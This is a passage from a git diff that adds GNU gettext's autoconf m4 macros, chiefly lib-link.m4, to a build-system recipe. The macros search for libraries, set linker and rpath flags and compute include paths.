+ test "$with_gnu_ld" != yes && break
+ ;;
+ esac
+ fi
+ done
+ IFS="$acl_save_ifs"
+ fi
+ case $host in
+ *-*-aix*)
+ AC_COMPILE_IFELSE(
+ [AC_LANG_SOURCE(
+ [[#if defined __powerpc64__ || defined _ARCH_PPC64
+ int ok;
+ #else
+ error fail
+ #endif
+ ]])],
+ [# The compiler produces 64-bit code. Add option '-b64' so that the
+ # linker groks 64-bit object files.
+ case "$acl_cv_path_LD " in
+ *" -b64 "*) ;;
+ *) acl_cv_path_LD="$acl_cv_path_LD -b64" ;;
+ esac
+ ], [])
+ ;;
+ sparc64-*-netbsd*)
+ AC_COMPILE_IFELSE(
+ [AC_LANG_SOURCE(
+ [[#if defined __sparcv9 || defined __arch64__
+ int ok;
+ #else
+ error fail
+ #endif
+ ]])],
+ [],
+ [# The compiler produces 32-bit code. Add option '-m elf32_sparc'
+ # so that the linker groks 32-bit object files.
+ case "$acl_cv_path_LD " in
+ *" -m elf32_sparc "*) ;;
+ *) acl_cv_path_LD="$acl_cv_path_LD -m elf32_sparc" ;;
+ esac
+ ])
+ ;;
+ esac
+ ])
+ LD="$acl_cv_path_LD"
+fi
+if test -n "$LD"; then
+ AC_MSG_RESULT([$LD])
+else
+ AC_MSG_RESULT([no])
+ AC_MSG_ERROR([no acceptable ld found in \$PATH])
+fi
+AC_LIB_PROG_LD_GNU
+])
diff --git a/meta/recipes-core/gettext/gettext-minimal-0.21/aclocal/lib-link.m4 b/meta/recipes-core/gettext/gettext-minimal-0.21/aclocal/lib-link.m4
new file mode 100644
index 0000000000..eecf70ec76
--- /dev/null
+++ b/meta/recipes-core/gettext/gettext-minimal-0.21/aclocal/lib-link.m4
@@ -0,0 +1,800 @@
+# lib-link.m4 serial 31
+dnl Copyright (C) 2001-2020 Free Software Foundation, Inc.
+dnl This file is free software; the Free Software Foundation
+dnl gives unlimited permission to copy and/or distribute it,
+dnl with or without modifications, as long as this notice is preserved.
+
+dnl From Bruno Haible.
+
+AC_PREREQ([2.61])
+
+dnl AC_LIB_LINKFLAGS(name [, dependencies]) searches for libname and
+dnl the libraries corresponding to explicit and implicit dependencies.
+dnl Sets and AC_SUBSTs the LIB${NAME} and LTLIB${NAME} variables and
+dnl augments the CPPFLAGS variable.
+dnl Sets and AC_SUBSTs the LIB${NAME}_PREFIX variable to nonempty if libname
+dnl was found in ${LIB${NAME}_PREFIX}/$acl_libdirstem.
+AC_DEFUN([AC_LIB_LINKFLAGS],
+[
+ AC_REQUIRE([AC_LIB_PREPARE_PREFIX])
+ AC_REQUIRE([AC_LIB_RPATH])
+ pushdef([Name],[m4_translit([$1],[./+-], [____])])
+ pushdef([NAME],[m4_translit([$1],[abcdefghijklmnopqrstuvwxyz./+-],
+ [ABCDEFGHIJKLMNOPQRSTUVWXYZ____])])
+ AC_CACHE_CHECK([how to link with lib[]$1], [ac_cv_lib[]Name[]_libs], [
+ AC_LIB_LINKFLAGS_BODY([$1], [$2])
+ ac_cv_lib[]Name[]_libs="$LIB[]NAME"
+ ac_cv_lib[]Name[]_ltlibs="$LTLIB[]NAME"
+ ac_cv_lib[]Name[]_cppflags="$INC[]NAME"
+ ac_cv_lib[]Name[]_prefix="$LIB[]NAME[]_PREFIX"
+ ])
+ LIB[]NAME="$ac_cv_lib[]Name[]_libs"
+ LTLIB[]NAME="$ac_cv_lib[]Name[]_ltlibs"
+ INC[]NAME="$ac_cv_lib[]Name[]_cppflags"
+ LIB[]NAME[]_PREFIX="$ac_cv_lib[]Name[]_prefix"
+ AC_LIB_APPENDTOVAR([CPPFLAGS], [$INC]NAME)
+ AC_SUBST([LIB]NAME)
+ AC_SUBST([LTLIB]NAME)
+ AC_SUBST([LIB]NAME[_PREFIX])
+ dnl Also set HAVE_LIB[]NAME so that AC_LIB_HAVE_LINKFLAGS can reuse the
+ dnl results of this search when this library appears as a dependency.
+ HAVE_LIB[]NAME=yes
+ popdef([NAME])
+ popdef([Name])
+])
+
+dnl AC_LIB_HAVE_LINKFLAGS(name, dependencies, includes, testcode, [missing-message])
+dnl searches for libname and the libraries corresponding to explicit and
+dnl implicit dependencies, together with the specified include files and
+dnl the ability to compile and link the specified testcode. The missing-message
+dnl defaults to 'no' and may contain additional hints for the user.
+dnl If found, it sets and AC_SUBSTs HAVE_LIB${NAME}=yes and the LIB${NAME}
+dnl and LTLIB${NAME} variables and augments the CPPFLAGS variable, and
+dnl #defines HAVE_LIB${NAME} to 1. Otherwise, it sets and AC_SUBSTs
+dnl HAVE_LIB${NAME}=no and LIB${NAME} and LTLIB${NAME} to empty.
+dnl Sets and AC_SUBSTs the LIB${NAME}_PREFIX variable to nonempty if libname
+dnl was found in ${LIB${NAME}_PREFIX}/$acl_libdirstem.
+AC_DEFUN([AC_LIB_HAVE_LINKFLAGS],
+[
+ AC_REQUIRE([AC_LIB_PREPARE_PREFIX])
+ AC_REQUIRE([AC_LIB_RPATH])
+ pushdef([Name],[m4_translit([$1],[./+-], [____])])
+ pushdef([NAME],[m4_translit([$1],[abcdefghijklmnopqrstuvwxyz./+-],
+ [ABCDEFGHIJKLMNOPQRSTUVWXYZ____])])
+
+ dnl Search for lib[]Name and define LIB[]NAME, LTLIB[]NAME and INC[]NAME
+ dnl accordingly.
+ AC_LIB_LINKFLAGS_BODY([$1], [$2])
+
+ dnl Add $INC[]NAME to CPPFLAGS before performing the following checks,
+ dnl because if the user has installed lib[]Name and not disabled its use
+ dnl via --without-lib[]Name-prefix, he wants to use it.
+ ac_save_CPPFLAGS="$CPPFLAGS"
+ AC_LIB_APPENDTOVAR([CPPFLAGS], [$INC]NAME)
+
+ AC_CACHE_CHECK([for lib[]$1], [ac_cv_lib[]Name], [
+ ac_save_LIBS="$LIBS"
+ dnl If $LIB[]NAME contains some -l options, add it to the end of LIBS,
+ dnl because these -l options might require -L options that are present in
+ dnl LIBS. -l options benefit only from the -L options listed before it.
+ dnl Otherwise, add it to the front of LIBS, because it may be a static
+ dnl library that depends on another static library that is present in LIBS.
+ dnl Static libraries benefit only from the static libraries listed after
+ dnl it.
+ case " $LIB[]NAME" in
+ *" -l"*) LIBS="$LIBS $LIB[]NAME" ;;
+ *) LIBS="$LIB[]NAME $LIBS" ;;
+ esac
+ AC_LINK_IFELSE(
+ [AC_LANG_PROGRAM([[$3]], [[$4]])],
+ [ac_cv_lib[]Name=yes],
+ [ac_cv_lib[]Name='m4_if([$5], [], [no], [[$5]])'])
+ LIBS="$ac_save_LIBS"
+ ])
+ if test "$ac_cv_lib[]Name" = yes; then
+ HAVE_LIB[]NAME=yes
+ AC_DEFINE([HAVE_LIB]NAME, 1, [Define if you have the lib][$1 library.])
+ AC_MSG_CHECKING([how to link with lib[]$1])
+ AC_MSG_RESULT([$LIB[]NAME])
+ else
+ HAVE_LIB[]NAME=no
+ dnl If $LIB[]NAME didn't lead to a usable library, we don't need
+ dnl $INC[]NAME either.
+ CPPFLAGS="$ac_save_CPPFLAGS"
+ LIB[]NAME=
+ LTLIB[]NAME=
+ LIB[]NAME[]_PREFIX=
+ fi
+ AC_SUBST([HAVE_LIB]NAME)
+ AC_SUBST([LIB]NAME)
+ AC_SUBST([LTLIB]NAME)
+ AC_SUBST([LIB]NAME[_PREFIX])
+ popdef([NAME])
+ popdef([Name])
+])
+
+dnl Determine the platform dependent parameters needed to use rpath:
+dnl acl_libext,
+dnl acl_shlibext,
+dnl acl_libname_spec,
+dnl acl_library_names_spec,
+dnl acl_hardcode_libdir_flag_spec,
+dnl acl_hardcode_libdir_separator,
+dnl acl_hardcode_direct,
+dnl acl_hardcode_minus_L.
+AC_DEFUN([AC_LIB_RPATH],
+[
+ dnl Complain if config.rpath is missing.
+ AC_REQUIRE_AUX_FILE([config.rpath])
+ AC_REQUIRE([AC_PROG_CC]) dnl we use $CC, $GCC, $LDFLAGS
+ AC_REQUIRE([AC_LIB_PROG_LD]) dnl we use $LD, $with_gnu_ld
+ AC_REQUIRE([AC_CANONICAL_HOST]) dnl we use $host
+ AC_REQUIRE([AC_CONFIG_AUX_DIR_DEFAULT]) dnl we use $ac_aux_dir
+ AC_CACHE_CHECK([for shared library run path origin], [acl_cv_rpath], [
+ CC="$CC" GCC="$GCC" LDFLAGS="$LDFLAGS" LD="$LD" with_gnu_ld="$with_gnu_ld" \
+ ${CONFIG_SHELL-/bin/sh} "$ac_aux_dir/config.rpath" "$host" > conftest.sh
+ . ./conftest.sh
+ rm -f ./conftest.sh
+ acl_cv_rpath=done
+ ])
+ wl="$acl_cv_wl"
+ acl_libext="$acl_cv_libext"
+ acl_shlibext="$acl_cv_shlibext"
+ acl_libname_spec="$acl_cv_libname_spec"
+ acl_library_names_spec="$acl_cv_library_names_spec"
+ acl_hardcode_libdir_flag_spec="$acl_cv_hardcode_libdir_flag_spec"
+ acl_hardcode_libdir_separator="$acl_cv_hardcode_libdir_separator"
+ acl_hardcode_direct="$acl_cv_hardcode_direct"
+ acl_hardcode_minus_L="$acl_cv_hardcode_minus_L"
+ dnl Determine whether the user wants rpath handling at all.
+ AC_ARG_ENABLE([rpath],
+ [ --disable-rpath do not hardcode runtime library paths],
+ :, enable_rpath=yes)
+])
+
+dnl AC_LIB_FROMPACKAGE(name, package)
+dnl declares that libname comes from the given package. The configure file
+dnl will then not have a --with-libname-prefix option but a
+dnl --with-package-prefix option. Several libraries can come from the same
+dnl package. This declaration must occur before an AC_LIB_LINKFLAGS or similar
+dnl macro call that searches for libname.
+AC_DEFUN([AC_LIB_FROMPACKAGE],
+[
+ pushdef([NAME],[m4_translit([$1],[abcdefghijklmnopqrstuvwxyz./+-],
+ [ABCDEFGHIJKLMNOPQRSTUVWXYZ____])])
+ define([acl_frompackage_]NAME, [$2])
+ popdef([NAME])
+ pushdef([PACK],[$2])
+ pushdef([PACKUP],[m4_translit(PACK,[abcdefghijklmnopqrstuvwxyz./+-],
+ [ABCDEFGHIJKLMNOPQRSTUVWXYZ____])])
+ define([acl_libsinpackage_]PACKUP,
+ m4_ifdef([acl_libsinpackage_]PACKUP, [m4_defn([acl_libsinpackage_]PACKUP)[, ]],)[lib$1])
+ popdef([PACKUP])
+ popdef([PACK])
+])
+
+dnl AC_LIB_LINKFLAGS_BODY(name [, dependencies]) searches for libname and
+dnl the libraries corresponding to explicit and implicit dependencies.
+dnl Sets the LIB${NAME}, LTLIB${NAME} and INC${NAME} variables.
+dnl Also, sets the LIB${NAME}_PREFIX variable to nonempty if libname was found
+dnl in ${LIB${NAME}_PREFIX}/$acl_libdirstem.
+AC_DEFUN([AC_LIB_LINKFLAGS_BODY],
+[
+ AC_REQUIRE([AC_LIB_PREPARE_MULTILIB])
+ pushdef([NAME],[m4_translit([$1],[abcdefghijklmnopqrstuvwxyz./+-],
+ [ABCDEFGHIJKLMNOPQRSTUVWXYZ____])])
+ pushdef([PACK],[m4_ifdef([acl_frompackage_]NAME, [acl_frompackage_]NAME, lib[$1])])
+ pushdef([PACKUP],[m4_translit(PACK,[abcdefghijklmnopqrstuvwxyz./+-],
+ [ABCDEFGHIJKLMNOPQRSTUVWXYZ____])])
+ pushdef([PACKLIBS],[m4_ifdef([acl_frompackage_]NAME, [acl_libsinpackage_]PACKUP, lib[$1])])
+ dnl By default, look in $includedir and $libdir.
+ use_additional=yes
+ AC_LIB_WITH_FINAL_PREFIX([
+ eval additional_includedir=\"$includedir\"
+ eval additional_libdir=\"$libdir\"
+ eval additional_libdir2=\"$exec_prefix/$acl_libdirstem2\"
+ eval additional_libdir3=\"$exec_prefix/$acl_libdirstem3\"
+ ])
+ AC_ARG_WITH(PACK[-prefix],
+[[ --with-]]PACK[[-prefix[=DIR] search for ]PACKLIBS[ in DIR/include and DIR/lib
+ --without-]]PACK[[-prefix don't search for ]PACKLIBS[ in includedir and libdir]],
+[
+ if test "X$withval" = "Xno"; then
+ use_additional=no
+ else
+ if test "X$withval" = "X"; then
+ AC_LIB_WITH_FINAL_PREFIX([
+ eval additional_includedir=\"$includedir\"
+ eval additional_libdir=\"$libdir\"
+ eval additional_libdir2=\"$exec_prefix/$acl_libdirstem2\"
+ eval additional_libdir3=\"$exec_prefix/$acl_libdirstem3\"
+ ])
+ else
+ additional_includedir="$withval/include"
+ additional_libdir="$withval/$acl_libdirstem"
+ additional_libdir2="$withval/$acl_libdirstem2"
+ additional_libdir3="$withval/$acl_libdirstem3"
+ fi
+ fi
+])
+ if test "X$additional_libdir2" = "X$additional_libdir"; then
+ additional_libdir2=
+ fi
+ if test "X$additional_libdir3" = "X$additional_libdir"; then
+ additional_libdir3=
+ fi
+ dnl Search the library and its dependencies in $additional_libdir and
+ dnl $LDFLAGS. Using breadth-first-seach.
+ LIB[]NAME=
+ LTLIB[]NAME=
+ INC[]NAME=
+ LIB[]NAME[]_PREFIX=
+ dnl HAVE_LIB${NAME} is an indicator that LIB${NAME}, LTLIB${NAME} have been
+ dnl computed. So it has to be reset here.
+ HAVE_LIB[]NAME=
+ rpathdirs=
+ ltrpathdirs=
+ names_already_handled=
+ names_next_round='$1 $2'
+ while test -n "$names_next_round"; do
+ names_this_round="$names_next_round"
+ names_next_round=
+ for name in $names_this_round; do
+ already_handled=
+ for n in $names_already_handled; do
+ if test "$n" = "$name"; then
+ already_handled=yes
+ break
+ fi
+ done
+ if test -z "$already_handled"; then
+ names_already_handled="$names_already_handled $name"
+ dnl See if it was already located by an earlier AC_LIB_LINKFLAGS
+ dnl or AC_LIB_HAVE_LINKFLAGS call.
+ uppername=`echo "$name" | sed -e 'y|abcdefghijklmnopqrstuvwxyz./+-|ABCDEFGHIJKLMNOPQRSTUVWXYZ____|'`
+ eval value=\"\$HAVE_LIB$uppername\"
+ if test -n "$value"; then
+ if test "$value" = yes; then
+ eval value=\"\$LIB$uppername\"
+ test -z "$value" || LIB[]NAME="${LIB[]NAME}${LIB[]NAME:+ }$value"
+ eval value=\"\$LTLIB$uppername\"
+ test -z "$value" || LTLIB[]NAME="${LTLIB[]NAME}${LTLIB[]NAME:+ }$value"
+ else
+ dnl An earlier call to AC_LIB_HAVE_LINKFLAGS has determined
+ dnl that this library doesn't exist. So just drop it.
+ :
+ fi
+ else
+ dnl Search the library lib$name in $additional_libdir and $LDFLAGS
+ dnl and the already constructed $LIBNAME/$LTLIBNAME.
+ found_dir=
+ found_la=
+ found_so=
+ found_a=
+ eval libname=\"$acl_libname_spec\" # typically: libname=lib$name
+ if test -n "$acl_shlibext"; then
+ shrext=".$acl_shlibext" # typically: shrext=.so
+ else
+ shrext=
+ fi
+ if test $use_additional = yes; then
+ for additional_libdir_variable in additional_libdir additional_libdir2 additional_libdir3; do
+ if test "X$found_dir" = "X"; then
+ eval dir=\$$additional_libdir_variable
+ if test -n "$dir"; then
+ dnl The same code as in the loop below:
+ dnl First look for a shared library.
+ if test -n "$acl_shlibext"; then
+ if test -f "$dir/$libname$shrext" && acl_is_expected_elfclass < "$dir/$libname$shrext"; then
+ found_dir="$dir"
+ found_so="$dir/$libname$shrext"
+ else
+ if test "$acl_library_names_spec" = '$libname$shrext$versuffix'; then
+ ver=`(cd "$dir" && \
+ for f in "$libname$shrext".*; do echo "$f"; done \
+ | sed -e "s,^$libname$shrext\\\\.,," \
+ | sort -t '.' -n -r -k1,1 -k2,2 -k3,3 -k4,4 -k5,5 \
+ | sed 1q ) 2>/dev/null`
+ if test -n "$ver" && test -f "$dir/$libname$shrext.$ver" && acl_is_expected_elfclass < "$dir/$libname$shrext.$ver"; then
+ found_dir="$dir"
+ found_so="$dir/$libname$shrext.$ver"
+ fi
+ else
+ eval library_names=\"$acl_library_names_spec\"
+ for f in $library_names; do
+ if test -f "$dir/$f" && acl_is_expected_elfclass < "$dir/$f"; then
+ found_dir="$dir"
+ found_so="$dir/$f"
+ break
+ fi
+ done
+ fi
+ fi
+ fi
+ dnl Then look for a static library.
+ if test "X$found_dir" = "X"; then
+ if test -f "$dir/$libname.$acl_libext" && ${AR-ar} -p "$dir/$libname.$acl_libext" | acl_is_expected_elfclass; then
+ found_dir="$dir"
+ found_a="$dir/$libname.$acl_libext"
+ fi
+ fi
+ if test "X$found_dir" != "X"; then
+ if test -f "$dir/$libname.la"; then
+ found_la="$dir/$libname.la"
+ fi
+ fi
+ fi
+ fi
+ done
+ fi
+ if test "X$found_dir" = "X"; then
+ for x in $LDFLAGS $LTLIB[]NAME; do
+ AC_LIB_WITH_FINAL_PREFIX([eval x=\"$x\"])
+ case "$x" in
+ -L*)
+ dir=`echo "X$x" | sed -e 's/^X-L//'`
+ dnl First look for a shared library.
+ if test -n "$acl_shlibext"; then
+ if test -f "$dir/$libname$shrext" && acl_is_expected_elfclass < "$dir/$libname$shrext"; then
+ found_dir="$dir"
+ found_so="$dir/$libname$shrext"
+ else
+ if test "$acl_library_names_spec" = '$libname$shrext$versuffix'; then
+ ver=`(cd "$dir" && \
+ for f in "$libname$shrext".*; do echo "$f"; done \
+ | sed -e "s,^$libname$shrext\\\\.,," \
+ | sort -t '.' -n -r -k1,1 -k2,2 -k3,3 -k4,4 -k5,5 \
+ | sed 1q ) 2>/dev/null`
+ if test -n "$ver" && test -f "$dir/$libname$shrext.$ver" && acl_is_expected_elfclass < "$dir/$libname$shrext.$ver"; then
+ found_dir="$dir"
+ found_so="$dir/$libname$shrext.$ver"
+ fi
+ else
+ eval library_names=\"$acl_library_names_spec\"
+ for f in $library_names; do
+ if test -f "$dir/$f" && acl_is_expected_elfclass < "$dir/$f"; then
+ found_dir="$dir"
+ found_so="$dir/$f"
+ break
+ fi
+ done
+ fi
+ fi
+ fi
+ dnl Then look for a static library.
+ if test "X$found_dir" = "X"; then
+ if test -f "$dir/$libname.$acl_libext" && ${AR-ar} -p "$dir/$libname.$acl_libext" | acl_is_expected_elfclass; then
+ found_dir="$dir"
+ found_a="$dir/$libname.$acl_libext"
+ fi
+ fi
+ if test "X$found_dir" != "X"; then
+ if test -f "$dir/$libname.la"; then
+ found_la="$dir/$libname.la"
+ fi
+ fi
+ ;;
+ esac
+ if test "X$found_dir" != "X"; then
+ break
+ fi
+ done
+ fi
+ if test "X$found_dir" != "X"; then
+ dnl Found the library.
+ LTLIB[]NAME="${LTLIB[]NAME}${LTLIB[]NAME:+ }-L$found_dir -l$name"
+ if test "X$found_so" != "X"; then
+ dnl Linking with a shared library. We attempt to hardcode its
+ dnl directory into the executable's runpath, unless it's the
+ dnl standard /usr/lib.
+ if test "$enable_rpath" = no \
+ || test "X$found_dir" = "X/usr/$acl_libdirstem" \
+ || test "X$found_dir" = "X/usr/$acl_libdirstem2" \
+ || test "X$found_dir" = "X/usr/$acl_libdirstem3"; then
+ dnl No hardcoding is needed.
+ LIB[]NAME="${LIB[]NAME}${LIB[]NAME:+ }$found_so"
+ else
+ dnl Use an explicit option to hardcode DIR into the resulting
+ dnl binary.
+ dnl Potentially add DIR to ltrpathdirs.
+ dnl The ltrpathdirs will be appended to $LTLIBNAME at the end.
+ haveit=
+ for x in $ltrpathdirs; do
+ if test "X$x" = "X$found_dir"; then
+ haveit=yes
+ break
+ fi
+ done
+ if test -z "$haveit"; then
+ ltrpathdirs="$ltrpathdirs $found_dir"
+ fi
+ dnl The hardcoding into $LIBNAME is system dependent.
+ if test "$acl_hardcode_direct" = yes; then
+ dnl Using DIR/libNAME.so during linking hardcodes DIR into the
+ dnl resulting binary.
+ LIB[]NAME="${LIB[]NAME}${LIB[]NAME:+ }$found_so"
+ else
+ if test -n "$acl_hardcode_libdir_flag_spec" && test "$acl_hardcode_minus_L" = no; then
+ dnl Use an explicit option to hardcode DIR into the resulting
+ dnl binary.
+ LIB[]NAME="${LIB[]NAME}${LIB[]NAME:+ }$found_so"
+ dnl Potentially add DIR to rpathdirs.
+ dnl The rpathdirs will be appended to $LIBNAME at the end.
+ haveit=
+ for x in $rpathdirs; do
+ if test "X$x" = "X$found_dir"; then
+ haveit=yes
+ break
+ fi
+ done
+ if test -z "$haveit"; then
+ rpathdirs="$rpathdirs $found_dir"
+ fi
+ else
+ dnl Rely on "-L$found_dir".
+ dnl But don't add it if it's already contained in the LDFLAGS
+ dnl or the already constructed $LIBNAME
+ haveit=
+ for x in $LDFLAGS $LIB[]NAME; do
+ AC_LIB_WITH_FINAL_PREFIX([eval x=\"$x\"])
+ if test "X$x" = "X-L$found_dir"; then
+ haveit=yes
+ break
+ fi
+ done
+ if test -z "$haveit"; then
+ LIB[]NAME="${LIB[]NAME}${LIB[]NAME:+ }-L$found_dir"
+ fi
+ if test "$acl_hardcode_minus_L" != no; then
+ dnl FIXME: Not sure whether we should use
+ dnl "-L$found_dir -l$name" or "-L$found_dir $found_so"
+ dnl here.
+ LIB[]NAME="${LIB[]NAME}${LIB[]NAME:+ }$found_so"
+ else
+ dnl We cannot use $acl_hardcode_runpath_var and LD_RUN_PATH
+ dnl here, because this doesn't fit in flags passed to the
+ dnl compiler. So give up. No hardcoding. This affects only
+ dnl very old systems.
+ dnl FIXME: Not sure whether we should use
+ dnl "-L$found_dir -l$name" or "-L$found_dir $found_so"
+ dnl here.
+ LIB[]NAME="${LIB[]NAME}${LIB[]NAME:+ }-l$name"
+ fi
+ fi
+ fi
+ fi
+ else
+ if test "X$found_a" != "X"; then
+ dnl Linking with a static library.
+ LIB[]NAME="${LIB[]NAME}${LIB[]NAME:+ }$found_a"
+ else
+ dnl We shouldn't come here, but anyway it's good to have a
+ dnl fallback.
+ LIB[]NAME="${LIB[]NAME}${LIB[]NAME:+ }-L$found_dir -l$name"
+ fi
+ fi
+ dnl Assume the include files are nearby.
+ additional_includedir=
+ case "$found_dir" in
+ */$acl_libdirstem | */$acl_libdirstem/)
+ basedir=`echo "X$found_dir" | sed -e 's,^X,,' -e "s,/$acl_libdirstem/"'*$,,'`
+ if test "$name" = '$1'; then
+ LIB[]NAME[]_PREFIX="$basedir"
+ fi
+ additional_includedir="$basedir/include"
+ ;;
+ */$acl_libdirstem2 | */$acl_libdirstem2/)
+ basedir=`echo "X$found_dir" | sed -e 's,^X,,' -e "s,/$acl_libdirstem2/"'*$,,'`
+ if test "$name" = '$1'; then
+ LIB[]NAME[]_PREFIX="$basedir"
+ fi
+ additional_includedir="$basedir/include"
+ ;;
+ */$acl_libdirstem3 | */$acl_libdirstem3/)
+ basedir=`echo "X$found_dir" | sed -e 's,^X,,' -e "s,/$acl_libdirstem3/"'*$,,'`
+ if test "$name" = '$1'; then
+ LIB[]NAME[]_PREFIX="$basedir"
+ fi
+ additional_includedir="$basedir/include"
+ ;;
+ esac
+ if test "X$additional_includedir" != "X"; then
+ dnl Potentially add $additional_includedir to $INCNAME.
+ dnl But don't add it
+ dnl 1. if it's the standard /usr/include,
+ dnl 2. if it's /usr/local/include and we are using GCC on Linux,
+ dnl 3. if it's already present in $CPPFLAGS or the already
+ dnl constructed $INCNAME,
+ dnl 4. if it doesn't exist as a directory.
+ if test "X$additional_includedir" != "X/usr/include"; then
+ haveit=
+ if test "X$additional_includedir" = "X/usr/local/include"; then
+ if test -n "$GCC"; then
+ case $host_os in
+ linux* | gnu* | k*bsd*-gnu) haveit=yes;;
+ esac
+ fi
+ fi
+ if test -z "$haveit"; then
+ for x in $CPPFLAGS $INC[]NAME; do
+ AC_LIB_WITH_FINAL_PREFIX([eval x=\"$x\"])
+ if test "X$x" = "X-I$additional_includedir"; then
+ haveit=yes
+ break
+ fi
+ done
+ if test -z "$haveit"; then
+ if test -d "$additional_includedir"; then
+ dnl Really add $additional_includedir to $INCNAME.
+ INC[]NAME="${INC[]NAME}${INC[]NAME:+ }-I$additional_includedir"
+ fi
+ fi
+ fi
+ fi
+ fi
+ dnl Look for dependencies.
+ if test -n "$found_la"; then
+ dnl Read the .la file. It defines the variables
+ dnl dlname, library_names, old_library, dependency_libs, current,
+ dnl age, revision, installed, dlopen, dlpreopen, libdir.
+ save_libdir="$libdir"
+ case "$found_la" in
+ */* | *\\*) . "$found_la" ;;
+ *) . "./$found_la" ;;
+ esac
+ libdir="$save_libdir"
+ dnl We use only dependency_libs.
+ for dep in $dependency_libs; do
+ case "$dep" in
+ -L*)
+ dependency_libdir=`echo "X$dep" | sed -e 's/^X-L//'`
+ dnl Potentially add $dependency_libdir to $LIBNAME and $LTLIBNAME.
+ dnl But don't add it
+ dnl 1. if it's the standard /usr/lib,
+ dnl 2. if it's /usr/local/lib and we are using GCC on Linux,
+ dnl 3. if it's already present in $LDFLAGS or the already
+ dnl constructed $LIBNAME,
+ dnl 4. if it doesn't exist as a directory.
+ if test "X$dependency_libdir" != "X/usr/$acl_libdirstem" \
+ && test "X$dependency_libdir" != "X/usr/$acl_libdirstem2" \
+ && test "X$dependency_libdir" != "X/usr/$acl_libdirstem3"; then
+ haveit=
+ if test "X$dependency_libdir" = "X/usr/local/$acl_libdirstem" \
+ || test "X$dependency_libdir" = "X/usr/local/$acl_libdirstem2" \
+ || test "X$dependency_libdir" = "X/usr/local/$acl_libdirstem3"; then
+ if test -n "$GCC"; then
+ case $host_os in
+ linux* | gnu* | k*bsd*-gnu) haveit=yes;;
+ esac
+ fi
+ fi
+ if test -z "$haveit"; then
+ haveit=
+ for x in $LDFLAGS $LIB[]NAME; do
+ AC_LIB_WITH_FINAL_PREFIX([eval x=\"$x\"])
+ if test "X$x" = "X-L$dependency_libdir"; then
+ haveit=yes
+ break
+ fi
+ done
+ if test -z "$haveit"; then
+ if test -d "$dependency_libdir"; then
+ dnl Really add $dependency_libdir to $LIBNAME.
+ LIB[]NAME="${LIB[]NAME}${LIB[]NAME:+ }-L$dependency_libdir"
+ fi
+ fi
+ haveit=
+ for x in $LDFLAGS $LTLIB[]NAME; do
+ AC_LIB_WITH_FINAL_PREFIX([eval x=\"$x\"])
+ if test "X$x" = "X-L$dependency_libdir"; then
+ haveit=yes
+ break
+ fi
+ done
+ if test -z "$haveit"; then
+ if test -d "$dependency_libdir"; then
+ dnl Really add $dependency_libdir to $LTLIBNAME.
+ LTLIB[]NAME="${LTLIB[]NAME}${LTLIB[]NAME:+ }-L$dependency_libdir"
+ fi
+ fi
+ fi
+ fi
+ ;;
+ -R*)
+ dir=`echo "X$dep" | sed -e 's/^X-R//'`
+ if test "$enable_rpath" != no; then
+ dnl Potentially add DIR to rpathdirs.
+ dnl The rpathdirs will be appended to $LIBNAME at the end.
+ haveit=
+ for x in $rpathdirs; do
+ if test "X$x" = "X$dir"; then
+ haveit=yes
+ break
+ fi
+ done
+ if test -z "$haveit"; then
+ rpathdirs="$rpathdirs $dir"
+ fi
+ dnl Potentially add DIR to ltrpathdirs.
+ dnl The ltrpathdirs will be appended to $LTLIBNAME at the end.
+ haveit=
+ for x in $ltrpathdirs; do
+ if test "X$x" = "X$dir"; then
+ haveit=yes
+ break
+ fi
+ done
+ if test -z "$haveit"; then
+ ltrpathdirs="$ltrpathdirs $dir"
+ fi
+ fi
+ ;;
+ -l*)
+ dnl Handle this in the next round.
+ names_next_round="$names_next_round "`echo "X$dep" | sed -e 's/^X-l//'`
+ ;;
+ *.la)
+ dnl Handle this in the next round. Throw away the .la's
+ dnl directory; it is already contained in a preceding -L
+ dnl option.
+ names_next_round="$names_next_round "`echo "X$dep" | sed -e 's,^X.*/,,' -e 's,^lib,,' -e 's,\.la$,,'`
+ ;;
+ *)
+ dnl Most likely an immediate library name.
+ LIB[]NAME="${LIB[]NAME}${LIB[]NAME:+ }$dep"
+ LTLIB[]NAME="${LTLIB[]NAME}${LTLIB[]NAME:+ }$dep"
+ ;;
+ esac
+ done
+ fi
+ else
+ dnl Didn't find the library; assume it is in the system directories
+ dnl known to the linker and runtime loader. (All the system
+ dnl directories known to the linker should also be known to the
+ dnl runtime loader, otherwise the system is severely misconfigured.)
+ LIB[]NAME="${LIB[]NAME}${LIB[]NAME:+ }-l$name"
+ LTLIB[]NAME="${LTLIB[]NAME}${LTLIB[]NAME:+ }-l$name"
+ fi
+ fi
+ fi
+ done
+ done
+ if test "X$rpathdirs" != "X"; then
+ if test -n "$acl_hardcode_libdir_separator"; then
+ dnl Weird platform: only the last -rpath option counts, the user must
+ dnl pass all path elements in one option. We can arrange that for a
+ dnl single library, but not when more than one $LIBNAMEs are used.
+ alldirs=
+ for found_dir in $rpathdirs; do
+ alldirs="${alldirs}${alldirs:+$acl_hardcode_libdir_separator}$found_dir"
+ done
+ dnl Note: acl_hardcode_libdir_flag_spec uses $libdir and $wl.
+ acl_save_libdir="$libdir"
+ libdir="$alldirs"
+ eval flag=\"$acl_hardcode_libdir_flag_spec\"
+ libdir="$acl_save_libdir"
+ LIB[]NAME="${LIB[]NAME}${LIB[]NAME:+ }$flag"
+ else
+ dnl The -rpath options are cumulative.
+ for found_dir in $rpathdirs; do
+ acl_save_libdir="$libdir"
+ libdir="$found_dir"
+ eval flag=\"$acl_hardcode_libdir_flag_spec\"
+ libdir="$acl_save_libdir"
+ LIB[]NAME="${LIB[]NAME}${LIB[]NAME:+ }$flag"
+ done
+ fi
+ fi
+ if test "X$ltrpathdirs" != "X"; then
+ dnl When using libtool, the option that works for both libraries and
+ dnl executables is -R. The -R options are cumulative.
+ for found_dir in $ltrpathdirs; do
+ LTLIB[]NAME="${LTLIB[]NAME}${LTLIB[]NAME:+ }-R$found_dir"
+ done
+ fi
+ popdef([PACKLIBS])
+ popdef([PACKUP])
+ popdef([PACK])
+ popdef([NAME])
+])
+
+dnl AC_LIB_APPENDTOVAR(VAR, CONTENTS) appends the elements of CONTENTS to VAR,
+dnl unless already present in VAR.
+dnl Works only for CPPFLAGS, not for LIB* variables because that sometimes
+dnl contains two or three consecutive elements that belong together.
+AC_DEFUN([AC_LIB_APPENDTOVAR],
+[
+ for element in [$2]; do
+ haveit=
+ for x in $[$1]; do
+ AC_LIB_WITH_FINAL_PREFIX([eval x=\"$x\"])
+ if test "X$x" = "X$element"; then
+ haveit=yes
+ break
+ fi
+ done
+ if test -z "$haveit"; then
